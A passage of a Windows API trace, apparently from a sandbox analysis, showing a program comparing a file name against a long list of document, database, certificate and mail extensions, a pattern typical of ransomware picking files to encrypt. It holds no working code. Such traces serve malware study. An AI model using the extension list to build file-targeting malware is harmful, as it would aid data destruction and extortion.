6 [0127.340] lstrcmpiW (lpString1=".accde", lpString2="ad.xml") returned -1 [0127.340] lstrlenW (lpString=".accdt") returned 6 [0127.340] lstrcmpiW (lpString1=".accdt", lpString2="ad.xml") returned -1 [0127.340] lstrlenW (lpString=".accdw") returned 6 [0127.340] lstrcmpiW (lpString1=".accdw", lpString2="ad.xml") returned -1 [0127.340] lstrlenW (lpString=".adb") returned 4 [0127.340] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0127.340] lstrlenW (lpString=".adp") returned 4 [0127.340] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0127.340] lstrlenW (lpString=".ai") returned 3 [0127.340] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0127.340] lstrlenW (lpString=".ai3") returned 4 [0127.340] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0127.340] lstrlenW (lpString=".ai4") returned 4 [0127.340] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0127.340] lstrlenW (lpString=".ai5") returned 4 [0127.340] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0127.340] lstrlenW (lpString=".ai6") returned 4 [0127.340] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0127.340] lstrlenW (lpString=".ai7") returned 4 [0127.340] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0127.341] lstrlenW (lpString=".ai8") returned 4 [0127.341] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0127.341] lstrlenW (lpString=".anim") returned 5 [0127.341] lstrcmpiW (lpString1=".anim", lpString2="d.xml") returned -1 [0127.341] lstrlenW (lpString=".arw") returned 4 [0127.341] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0127.341] lstrlenW (lpString=".as") returned 3 [0127.341] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0127.341] lstrlenW (lpString=".asa") returned 4 [0127.341] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0127.341] lstrlenW (lpString=".asc") returned 4 [0127.341] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0127.341] lstrlenW (lpString=".ascx") returned 5 [0127.341] lstrcmpiW (lpString1=".ascx", lpString2="d.xml") returned -1 [0127.341] lstrlenW (lpString=".asm") returned 4 [0127.341] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0127.341] lstrlenW (lpString=".asmx") returned 5 [0127.341] lstrcmpiW (lpString1=".asmx", lpString2="d.xml") returned -1 [0127.341] lstrlenW (lpString=".asp") returned 4 [0127.341] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0127.341] lstrlenW (lpString=".aspx") returned 5 [0127.341] lstrcmpiW (lpString1=".aspx", lpString2="d.xml") returned -1 [0127.341] lstrlenW (lpString=".asr") returned 4 [0127.341] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0127.341] lstrlenW (lpString=".asx") returned 4 [0127.341] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0127.341] lstrlenW (lpString=".avi") returned 4 [0127.341] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0127.341] lstrlenW (lpString=".avs") returned 4 [0127.341] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0127.341] lstrlenW (lpString=".backup") returned 7 [0127.341] lstrcmpiW (lpString1=".backup", lpString2="pad.xml") returned -1 [0127.341] lstrlenW (lpString=".bak") returned 4 [0127.341] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0127.341] lstrlenW (lpString=".bay") returned 4 [0127.341] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".bd") returned 3 [0127.342] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0127.342] lstrlenW (lpString=".bin") returned 4 [0127.342] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".bmp") returned 4 [0127.342] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".bz2") returned 4 [0127.342] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".c") returned 2 [0127.342] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0127.342] lstrlenW (lpString=".cdr") returned 4 [0127.342] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".cer") returned 4 [0127.342] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".cf") returned 3 [0127.342] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0127.342] lstrlenW (lpString=".cfc") returned 4 [0127.342] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".cfm") returned 4 [0127.342] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".cfml") returned 5 [0127.342] lstrcmpiW (lpString1=".cfml", lpString2="d.xml") returned -1 [0127.342] lstrlenW (lpString=".cfu") returned 4 [0127.342] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".chm") returned 4 [0127.342] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".cin") returned 4 [0127.342] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".class") returned 6 [0127.342] lstrcmpiW (lpString1=".class", lpString2="ad.xml") returned -1 [0127.342] lstrlenW (lpString=".clx") returned 4 [0127.342] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".config") returned 7 [0127.342] lstrcmpiW (lpString1=".config", lpString2="pad.xml") returned -1 [0127.342] lstrlenW (lpString=".cpp") returned 4 [0127.342] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0127.342] lstrlenW (lpString=".cr2") returned 4 [0127.343] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".crt") returned 4 [0127.343] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".crw") returned 4 [0127.343] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".cs") returned 3 [0127.343] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0127.343] lstrlenW (lpString=".css") returned 4 [0127.343] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".csv") returned 4 [0127.343] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".cub") returned 4 [0127.343] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".dae") returned 4 [0127.343] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".dat") returned 4 [0127.343] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".db") returned 3 [0127.343] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0127.343] lstrlenW (lpString=".dbf") returned 4 [0127.343] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".dbx") returned 4 [0127.343] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".dc3") returned 4 [0127.343] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".dcm") returned 4 [0127.343] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".dcr") returned 4 [0127.343] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".der") returned 4 [0127.343] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".dib") returned 4 [0127.343] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".dic") returned 4 [0127.343] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".dif") returned 4 [0127.343] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0127.343] lstrlenW (lpString=".divx") returned 5 [0127.344] lstrcmpiW (lpString1=".divx", lpString2="d.xml") returned -1 [0127.344] lstrlenW (lpString=".djvu") returned 5 [0127.344] lstrcmpiW (lpString1=".djvu", lpString2="d.xml") returned -1 [0127.344] lstrlenW (lpString=".dng") returned 4 [0127.344] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0127.344] lstrlenW (lpString=".doc") returned 4 [0127.344] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0127.344] lstrlenW (lpString=".docm") returned 5 [0127.344] lstrcmpiW (lpString1=".docm", lpString2="d.xml") returned -1 [0127.344] lstrlenW (lpString=".docx") returned 5 [0127.344] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0127.344] lstrlenW (lpString=".dot") returned 4 [0127.344] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0127.344] lstrlenW (lpString=".dotm") returned 5 [0127.344] lstrcmpiW (lpString1=".dotm", lpString2="d.xml") returned -1 [0127.344] lstrlenW (lpString=".dotx") returned 5 [0127.344] lstrcmpiW (lpString1=".dotx", lpString2="d.xml") returned -1 [0127.344] lstrlenW (lpString=".dpx") returned 4 [0127.344] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0127.344] lstrlenW (lpString=".dqy") returned 4 [0127.344] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0127.344] lstrlenW (lpString=".dsn") returned 4 [0127.344] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0127.344] lstrlenW (lpString=".dt") returned 3 [0127.344] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0127.344] lstrlenW (lpString=".dtd") returned 4 [0127.344] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0127.344] lstrlenW (lpString=".dwg") returned 4 [0127.344] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0127.344] lstrlenW (lpString=".dwt") returned 4 [0127.344] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0127.344] lstrlenW (lpString=".dx") returned 3 [0127.344] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0127.344] lstrlenW (lpString=".dxf") returned 4 [0127.344] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0127.344] lstrlenW (lpString=".edml") returned 5 [0127.344] lstrcmpiW (lpString1=".edml", lpString2="d.xml") returned -1 [0127.344] lstrlenW (lpString=".efd") returned 4 [0127.345] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".elf") returned 4 [0127.345] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".emf") returned 4 [0127.345] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".emz") returned 4 [0127.345] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".epf") returned 4 [0127.345] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".eps") returned 4 [0127.345] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".epsf") returned 5 [0127.345] lstrcmpiW (lpString1=".epsf", lpString2="d.xml") returned -1 [0127.345] lstrlenW (lpString=".epsp") returned 5 [0127.345] lstrcmpiW (lpString1=".epsp", lpString2="d.xml") returned -1 [0127.345] lstrlenW (lpString=".erf") returned 4 [0127.345] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".exr") returned 4 [0127.345] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".f4v") returned 4 [0127.345] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".fido") returned 5 [0127.345] lstrcmpiW (lpString1=".fido", lpString2="d.xml") returned -1 [0127.345] lstrlenW (lpString=".flm") returned 4 [0127.345] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".flv") returned 4 [0127.345] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".frm") returned 4 [0127.345] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".fxg") returned 4 [0127.345] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".geo") returned 4 [0127.345] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".gif") returned 4 [0127.345] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".grs") returned 4 [0127.345] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0127.345] lstrlenW (lpString=".gz") returned 3 [0127.346] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0127.346] lstrlenW (lpString=".h") returned 2 [0127.346] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0127.346] lstrlenW (lpString=".hdr") returned 4 [0127.346] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".hpp") returned 4 [0127.346] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".hta") returned 4 [0127.346] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".htc") returned 4 [0127.346] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".htm") returned 4 [0127.346] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".html") returned 5 [0127.346] lstrcmpiW (lpString1=".html", lpString2="d.xml") returned -1 [0127.346] lstrlenW (lpString=".icb") returned 4 [0127.346] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".ics") returned 4 [0127.346] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".iff") returned 4 [0127.346] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".inc") returned 4 [0127.346] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".indd") returned 5 [0127.346] lstrcmpiW (lpString1=".indd", lpString2="d.xml") returned -1 [0127.346] lstrlenW (lpString=".ini") returned 4 [0127.346] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".iqy") returned 4 [0127.346] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".j2c") returned 4 [0127.346] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".j2k") returned 4 [0127.346] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".java") returned 5 [0127.346] lstrcmpiW (lpString1=".java", lpString2="d.xml") returned -1 [0127.346] lstrlenW (lpString=".jp2") returned 4 [0127.346] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0127.346] lstrlenW (lpString=".jpc") returned 4 [0127.347] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".jpe") returned 4 [0127.347] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".jpeg") returned 5 [0127.347] lstrcmpiW (lpString1=".jpeg", lpString2="d.xml") returned -1 [0127.347] lstrlenW (lpString=".jpf") returned 4 [0127.347] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".jpg") returned 4 [0127.347] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".jpx") returned 4 [0127.347] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".js") returned 3 [0127.347] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0127.347] lstrlenW (lpString=".jsf") returned 4 [0127.347] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".json") returned 5 [0127.347] lstrcmpiW (lpString1=".json", lpString2="d.xml") returned -1 [0127.347] lstrlenW (lpString=".jsp") returned 4 [0127.347] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".kdc") returned 4 [0127.347] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".kmz") returned 4 [0127.347] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".kwm") returned 4 [0127.347] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".lasso") returned 6 [0127.347] lstrcmpiW (lpString1=".lasso", lpString2="ad.xml") returned -1 [0127.347] lstrlenW (lpString=".lbi") returned 4 [0127.347] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".lgf") returned 4 [0127.347] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".lgp") returned 4 [0127.347] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".log") returned 4 [0127.347] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".m1v") returned 4 [0127.347] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0127.347] lstrlenW (lpString=".m4a") returned 4 [0127.348] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".m4v") returned 4 [0127.348] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".max") returned 4 [0127.348] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".md") returned 3 [0127.348] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0127.348] lstrlenW (lpString=".mda") returned 4 [0127.348] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".mdb") returned 4 [0127.348] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".mde") returned 4 [0127.348] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".mdf") returned 4 [0127.348] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".mdw") returned 4 [0127.348] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".mef") returned 4 [0127.348] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".mft") returned 4 [0127.348] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".mfw") returned 4 [0127.348] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".mht") returned 4 [0127.348] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".mhtml") returned 6 [0127.348] lstrcmpiW (lpString1=".mhtml", lpString2="ad.xml") returned -1 [0127.348] lstrlenW (lpString=".mka") returned 4 [0127.348] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0127.348] lstrlenW (lpString=".mkidx") returned 6 [0127.348] lstrcmpiW (lpString1=".mkidx", lpString2="ad.xml") returned -1 [0127.349] lstrlenW (lpString=".mkv") returned 4 [0127.349] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0127.349] lstrlenW (lpString=".mos") returned 4 [0127.349] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0127.349] lstrlenW (lpString=".mov") returned 4 [0127.349] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0127.349] lstrlenW (lpString=".mp3") returned 4 [0127.349] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0127.349] lstrlenW (lpString=".mp4") returned 4 [0127.349] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0127.349] lstrlenW (lpString=".mpeg") returned 5 [0127.349] lstrcmpiW (lpString1=".mpeg", lpString2="d.xml") returned -1 [0127.349] lstrlenW (lpString=".mpg") returned 4 [0127.350] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".mpv") returned 4 [0127.350] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".mrw") returned 4 [0127.350] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".msg") returned 4 [0127.350] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".mxl") returned 4 [0127.350] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".myd") returned 4 [0127.350] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".myi") returned 4 [0127.350] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".nef") returned 4 [0127.350] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".nrw") returned 4 [0127.350] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".obj") returned 4 [0127.350] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".odb") returned 4 [0127.350] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".odc") returned 4 [0127.350] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".odm") returned 4 [0127.350] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".odp") returned 4 [0127.350] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".ods") returned 4 [0127.350] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".oft") returned 4 [0127.350] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".one") returned 4 [0127.350] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0127.350] lstrlenW (lpString=".onepkg") returned 7 [0127.350] lstrcmpiW (lpString1=".onepkg", lpString2="pad.xml") returned -1 [0127.350] lstrlenW (lpString=".onetoc2") returned 8 [0127.350] lstrcmpiW (lpString1=".onetoc2", lpString2="ypad.xml") returned -1 [0127.350] lstrlenW (lpString=".opt") returned 4 [0127.351] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".oqy") returned 4 [0127.351] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".orf") returned 4 [0127.351] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".p12") returned 4 [0127.351] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".p7b") returned 4 [0127.351] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".p7c") returned 4 [0127.351] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pam") returned 4 [0127.351] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pbm") returned 4 [0127.351] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pct") returned 4 [0127.351] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pcx") returned 4 [0127.351] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pdd") returned 4 [0127.351] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pdf") returned 4 [0127.351] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pdp") returned 4 [0127.351] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pef") returned 4 [0127.351] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pem") returned 4 [0127.351] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pff") returned 4 [0127.351] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pfm") returned 4 [0127.351] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pfx") returned 4 [0127.351] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".pgm") returned 4 [0127.351] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0127.351] lstrlenW (lpString=".php") returned 4 [0127.352] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0127.352] lstrlenW (lpString=".php3") returned 5 [0127.352] lstrcmpiW (lpString1=".php3", lpString2="d.xml") returned -1 [0127.352] lstrlenW (lpString=".php4") returned 5 [0127.352] lstrcmpiW (lpString1=".php4", lpString2="d.xml") returned -1 [0127.352] lstrlenW (lpString=".php5") returned 5 [0127.352] lstrcmpiW (lpString1=".php5", lpString2="d.xml") returned -1 [0127.352] lstrlenW (lpString=".phtml") returned 6 [0127.352] lstrcmpiW (lpString1=".phtml", lpString2="ad.xml") returned -1 [0127.352] lstrlenW (lpString=".pict") returned 5 [0127.352] lstrcmpiW (lpString1=".pict", lpString2="d.xml") returned -1 [0127.352] lstrlenW (lpString=".pl") returned 3 [0127.352] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0127.352] lstrlenW (lpString=".pls") returned 4 [0127.352] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0127.352] lstrlenW (lpString=".pm") returned 3 [0127.352] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0127.352] lstrlenW (lpString=".png") returned 4 [0127.352] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0127.352] lstrlenW (lpString=".pnm") returned 4 [0127.352] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0127.352] lstrlenW (lpString=".pot") returned 4 [0127.352] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0127.352] lstrlenW (lpString=".potm") returned 5 [0127.352] lstrcmpiW (lpString1=".potm", lpString2="d.xml") returned -1 [0127.352] lstrlenW (lpString=".potx") returned 5 [0127.352] lstrcmpiW (lpString1=".potx", lpString2="d.xml") returned -1 [0127.352] lstrlenW (lpString=".ppa") returned 4 [0127.352] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0127.352] lstrlenW (lpString=".ppam") returned 5 [0127.352] lstrcmpiW (lpString1=".ppam", lpString2="d.xml") returned -1 [0127.352] lstrlenW (lpString=".ppm") returned 4 [0127.352] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0127.352] lstrlenW (lpString=".pps") returned 4 [0127.352] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0127.352] lstrlenW (lpString=".ppsm") returned 5 [0127.352] lstrcmpiW (lpString1=".ppsm", lpString2="d.xml") returned -1 [0127.352] lstrlenW (lpString=".ppt") returned 4 [0127.353] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0127.353] lstrlenW (lpString=".pptm") returned 5 [0127.353] lstrcmpiW (lpString1=".pptm", lpString2="d.xml") returned -1 [0127.353] lstrlenW (lpString=".pptx") returned 5 [0127.353] lstrcmpiW (lpString1=".pptx", lpString2="d.xml") returned -1 [0127.353] lstrlenW (lpString=".prn") returned 4 [0127.353] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0127.353] lstrlenW (lpString=".ps") returned 3 [0127.353] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0127.353] lstrlenW (lpString=".psb") returned 4 [0127.353] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0127.353] lstrlenW (lpString=".psd") returned 4 [0127.353] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0127.353] lstrlenW (lpString=".pst") returned 4 [0127.353] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0127.353] lstrlenW (lpString=".ptx") returned 4 [0127.353] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0127.353] lstrlenW (lpString=".pub") returned 4 [0127.353] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0127.353] lstrlenW 